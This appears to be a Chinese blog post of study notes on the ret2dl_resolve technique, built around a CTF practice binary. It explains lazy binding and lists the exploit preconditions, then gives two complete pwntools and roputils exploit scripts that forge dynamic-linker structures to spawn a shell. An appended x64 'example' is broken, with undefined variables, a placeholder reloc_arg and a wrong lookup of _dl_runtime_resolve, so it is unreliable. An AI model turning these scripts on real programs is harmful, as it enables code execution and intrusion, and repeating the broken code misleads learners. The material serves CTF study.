Ret2dl_resolve学习笔记

本文介绍了ret2dl_resolve的原理,即通过调用_dl_runtime_resolve函数修改重定向表和符号表项,指向伪造的字符串'system',并将函数参数设为'/bin/sh'地址以getshell。还说明了其前提条件,如非Full RELRO、无PIE、可溢出等,最后给出了pwntools和roputils两种EXP示例。
部署运行你感兴趣的模型镜像

ret2dl_resolve的原理:

 

动态链接相关函数_dl_runtime_resolve(link_map_obj, reloc_index)

功能:在第一次调用某函数时运行,绑定其地址到对应的GOT表项

第一个参数link_map_obj恒为GOT[1]的地址

第二个参数reloc_index为被绑定函数在.rel.plt段中的相对偏移

原理:

  1. 调用_dl_runtime_resolve,修改reloc_index,令其指向伪造在栈中的重定向表表项
  2. - 伪造重定向表表项,修改第二项中的符号表索引,令其指向伪造在栈中的符号表表项
  3. --伪造符号表表项,修改第一项(字符串表偏移),令其指向伪造在栈中的字符串(’system’)
  4. 令该函数的参数为写入在栈中的’/bin/sh\x00’的地址,即可getshell

 

ret2dl_resolve的前提:

 

1.非Full RELRO      -z lazy/norelro

2.无PIE              -no-pie

3.能够溢出           -fno-stack-protector

 

编译选项:gcc -m32 -fno-stack-protector -no-pie -z lazy main.c -o main

 

$ checksec main

 

RELRO            STACK CANARY      NX             PIE           

Partial RELRO   No canary found   NX enabled    No PIE         

 

重定向表:

 

$ readelf -r main

 

Relocation section '.rel.dyn' at offset 0x30c contains 3 entries:

 Offset     Info    Type            Sym.Value  Sym. Name

08049ff4  00000306 R_386_GLOB_DAT    00000000   __gmon_start__

08049ff8  00000706 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0

08049ffc  00000806 R_386_GLOB_DAT    00000000   stdout@GLIBC_2.0

 

Relocation section '.rel.plt' at offset 0x324 contains 5 entries:

 Offset     Info    Type            Sym.Value  Sym. Name

0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0

0804a010  00000207 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0

0804a014  00000407 R_386_JUMP_SLOT   00000000   strlen@GLIBC_2.0

0804a018  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

0804a01c  00000607 R_386_JUMP_SLOT   00000000   write@GLIBC_2.0

 

符号表:

 

$ readelf --dyn-sym main

 

Symbol table '.dynsym' contains 10 entries:

   Num:    Value  Size Type    Bind   Vis      Ndx Name

     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND

     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.0 (2)

     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)

     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__

     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.0 (2)

     5: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)

     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)

     7: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdin@GLIBC_2.0 (2)

     8: 00000000     0 OBJECT  GLOBAL DEFAULT  UND stdout@GLIBC_2.0 (2)

     9: 0804866c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used

 

EXP(pwntools):

 

from pwn import *

elf = ELF('main')

r = process('./main')

rop = ROP('./main')

 

offset = 112

bss_addr = elf.bss()

 

r.recvuntil('Welcome to XDCTF2015~!\n')

 

## stack pivoting to bss segment

## new stack size is 0x800

stack_size = 0x800

base_stage = bss_addr + stack_size

### padding

rop.raw('a' * offset)

### read 100 byte to base_stage

rop.read(0, base_stage, 100)

### stack pivoting, set esp = base_stage

#migrate = gadgets1: pop ebp     #stack: base_stage

#                    ret         #       gadgets2

#          gadgets2: mov ebp esp #       null

#                    pop ebp     #

#                    ret         #

 

rop.migrate(base_stage)

r.sendline(rop.chain())

 

## write sh="/bin/sh"

rop = ROP('./main')

sh = "/bin/sh"

 

plt0 = elf.get_section_by_name('.plt').header.sh_addr

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

 

### making fake write symbol

fake_sym_addr = base_stage + 32

align = 0x10 - ((fake_sym_addr - dynsym) & 0xf

                )  # since the size of item(Elf32_Symbol) of dynsym is 0x10

fake_sym_addr = fake_sym_addr + align

index_dynsym = (

    fake_sym_addr - dynsym) / 0x10  # calculate the dynsym index of write

## plus 10 since the size of Elf32_Sym is 16.

st_name = fake_sym_addr + 0x10 - dynstr

fake_write_sym = flat([st_name, 0, 0, 0x12])

 

### making fake write relocation

 

## making base_stage+24 ---> fake reloc

index_offset = base_stage + 24 - rel_plt

write_got = elf.got['write']

r_info = (index_dynsym << 8) | 0x7

fake_write_reloc = flat([write_got, r_info])

 

rop.raw(plt0)

rop.raw(index_offset) #指向fake_write_reloc

## fake ret addr of write

rop.raw('bbbb')

rop.raw(base_stage + 82) #system的参数:’/bin/sh\x00’的地址

rop.raw('bbbb')

rop.raw('bbbb')

#r_info的索引指向fake_write_sym

rop.raw(fake_write_reloc)  # fake write reloc

rop.raw('a' * align)  # padding

#指向’system’

rop.raw(fake_write_sym)  # fake write symbol

rop.raw('system\x00'# there must be a \x00 to mark the end of string

rop.raw('a' * (80 - len(rop.chain())))

print rop.dump()

print len(rop.chain())

rop.raw(sh + '\x00')

rop.raw('a' * (100 - len(rop.chain())))

 

r.sendline(rop.chain())

r.interactive()

 

EXP(roputils):

 

from roputils import *

from pwn import process

from pwn import gdb

from pwn import context

r = process('./main')

context.log_level = 'debug'

r.recv()

 

rop = ROP('./main')

offset = 112

bss_base = rop.section('.bss')

buf = rop.fill(offset)

 

buf += rop.call('read', 0, bss_base, 100)

# used to call dl_Resolve()

buf += rop.dl_resolve_call(bss_base + 20, bss_base)

r.send(buf)

 

buf = rop.string('/bin/sh')

buf += rop.fill(20, buf)

# used to make faking data, such relocation, Symbol, Str

buf += rop.dl_resolve_data(bss_base + 20, 'system')

buf += rop.fill(100, buf)

r.send(buf)

r.interactive()

 

您可能感兴趣的与本文相关的镜像

Facefusion

Facefusion

AI应用

FaceFusion是全新一代AI换脸工具,无需安装,一键运行,可以完成去遮挡,高清化,卡通脸一键替换,并且Nvidia/AMD等显卡全平台支持

在CTF比赛中,`ret2dl_resolve`是一种利用动态链接器(如`ld-linux.so`)的延迟绑定机制实现的漏洞利用技术。其核心思想是通过构造特定的数据结构(如`.rel.plt`、`symtab`和`strtab`),并劫持程序控制流至`dl_runtime_resolve`函数,从而触发对任意函数的解析与调用。 ### 基本原理 - **PLT/GOT机制**:程序中对外部函数的调用通常通过PLT(Procedure Linkage Table)进行跳转,而实际地址则存储在GOT(Global Offset Table)中。首次调用时,会进入动态链接器执行符号解析。 - **延迟绑定**:为提升性能,外部函数的地址并非在程序启动时全部解析,而是按需解析。具体来说,当第一次调用某个外部函数时,程序会跳转到PLT表项,然后进入GOT中的解析器入口(通常是`_dl_runtime_resolve`)来完成符号解析[^1]。 - **伪造重定位信息**:攻击者可以构造自定义的`.rel.plt`条目、符号表(`symtab`)和字符串表(`strtab`),并通过栈溢出等漏洞覆盖返回地址,使程序跳转至`_dl_runtime_resolve`函数,并传入伪造的重定位索引(`reloc_arg`)。这样,系统会根据攻击者提供的数据解析指定的函数名并调用它。 ### 实践步骤 #### 1. 确定目标函数 首先,需要确定希望调用的函数名称(如`system`或`execve`),并将其作为字符串存入内存中。 #### 2. 构造`.rel.plt`条目 每个`.rel.plt`条目包含一个偏移量(指向对应的符号表项)和一个类型字段(通常是`R_386_JMP_SLOT`或`R_X86_64_JMP_SLOT`)。攻击者需要将这个条目放置在可控的内存区域中。 #### 3. 构造符号表(`symtab`) 符号表中的每一项对应一个符号,其中包含符号名称在字符串表中的偏移、符号类型、绑定信息以及所属段等。攻击者需要确保该表中存在一个指向所需函数名的条目。 #### 4. 构造字符串表(`strtab`) 字符串表用于存储所有符号名称,攻击者需要在此处插入想要解析的函数名(如`"system"`)。 #### 5. 控制程序流 利用栈溢出或其他漏洞,将返回地址覆盖为`_dl_runtime_resolve`的地址,并传递伪造的`reloc_arg`参数(即`.rel.plt`条目的索引)。此时,程序会进入动态链接器并尝试解析攻击者指定的函数。 #### 6. 调用目标函数 一旦解析成功,动态链接器会更新GOT表项为真实函数地址,并跳转至该函数执行。攻击者可以在调用时传入参数(如`"/bin/sh"`),以达到获取shell的目的。 ### 示例代码(Python + pwntools) 以下是一个简单的示例,展示如何使用`pwntools`库构造`ret2dl_resolve`攻击: ```python from pwn import * import struct # 设置目标进程 p = process('./vuln') elf = ELF('./vuln') libc = elf.libc # 获取_dl_runtime_resolve地址 dl_runtime_resolve = libc.symbols['_dl_runtime_resolve'] log.info(f'_dl_runtime_resolve: {hex(dl_runtime_resolve)}') # 获取got表地址 plt0 = elf.get_section_by_name('.plt')['sh_addr'] log.info(f'plt0: {hex(plt0)}') # 构造fake rel.plt条目 fake_rel_plt = b'' fake_rel_plt += p64(elf.got['read']) # 指向got表中的某个位置 fake_rel_plt += p32(0x7) # R_X86_64_JMP_SLOT fake_rel_plt += p32(0x0) fake_rel_plt += p64(0x0) # 构造fake symtab条目 symtab_entry = b'' symtab_entry += p32(0x10) # 符号名称在strtab中的偏移 symtab_entry += p32(0x12) # ST_INFO (FUNC GLOBAL) symtab_entry += p64(0x0) # st_value (函数地址) symtab_entry += p64(0x0) # st_size symtab_entry += b'\x00' * 0x10 # 其他字段 # 构造strtab strtab = b'/bin/sh\x00system\x00' # 计算reloc_arg reloc_arg = 0xdeadbeef # 需要根据实际情况计算 # 构造payload payload = b'A' * offset_to_return_address payload += p64(dl_runtime_resolve) payload += p64(reloc_arg) payload += p64(fake_rel_plt_address) payload += p64(fake_symtab_address) payload += p64(fake_strtab_address) # 发送payload p.sendline(payload) p.interactive() ``` > 注意:上述代码仅为示例,实际攻击中需要根据具体的二进制文件结构调整各个地址和偏移量。 ### 调试技巧 - 使用`gdb`附加进程,观察PLT/GOT的跳转流程。 - 在`_dl_runtime_resolve`函数入口下断点,查看寄存器状态是否正确。 - 利用`one_gadget`等工具辅助寻找合适的gadget。 ### 相关挑战与练习平台 - **CTFhub技能树 - ret2dl_resolve**:提供了多个难度递增的题目,帮助学习如何构造`.rel.plt`、`symtab`和`strtab`。 - **Pwnable.kr**:部分题目涉及延迟绑定利用技术。 - **Hack The Box**:一些高级靶机也包含此类漏洞利用场景。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值